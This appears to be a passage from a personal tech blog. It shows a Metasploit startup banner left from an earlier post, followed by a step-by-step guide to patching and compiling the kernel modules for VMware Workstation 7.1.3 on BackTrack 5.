%%%%  %%%%%%  %%   %%%%%%   %%%%  %%%  %%%%  %%    %%  %%% %%% %%   %%  %%%%%
%%%%%%%%%%%% %%%%     %%%%%    %%  %%   %    %%  %%%%  %%%%   %%%   %%%     %
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%  %%%%%%% %%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%          %%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

=[ metasploit v4.0.1-dev [core:4.0 api:1.0]
+ -- --=[ 732 exploits - 374 auxiliary - 82 post
+ -- --=[ 227 payloads - 27 encoders - 8 nops
=[ svn r13728 updated today (2011.09.13)

msf &gt;

Nice! Good luck to you.

Backtrack 5: How to install VMware Workstation 7.1.3

So I want to install VMware Workstation 7.1.3 on Backtrack 5, but there are some things to do there’re errors after I ran the binary (e.g: ./VMware-Workstation-Full-7.1.3-324285.x86_64.bundle), so here’s the solution:

Prepare the Kernel

Look here: http://www.backtrack-linux.org/forums/backtrack-5-how-tos/40276-backtrack-5-how-prepare-kernel-sources-vmare-tools-drivers-etc.html

Download patch

http://communities.vmware.com/servlet/JiveServlet/download/2344-293321-1721368-58749/vmware-7.1.3-2.6.38-1-generic.patch

Patching

cd /usr/lib/vmware/modules/source
ls *.tar | xargs -n 1 tar xvf
patch -p1 &lt; /path/to/patch/vmware-7.1.3-2.6.38-1-generic.patch
tar cf vmci.tar vmci-only
tar cf vsock.tar vsock-only
tar cf vmnet.tar vmnet-only
tar cf vmmon.tar vmmon-only
rm -rf vmci-only vsock-only vmnet-only vmmon-only

Compile Module

vmware-modconfig --console --install-all

Voila! VMware Workstation 7.1.3 installed, and you can proceed to upgrade to the latest version. This patch applied only for VMware Workstation 7.1.3, for VMware Workstation 7.1.4 download this patch and you can do the same way.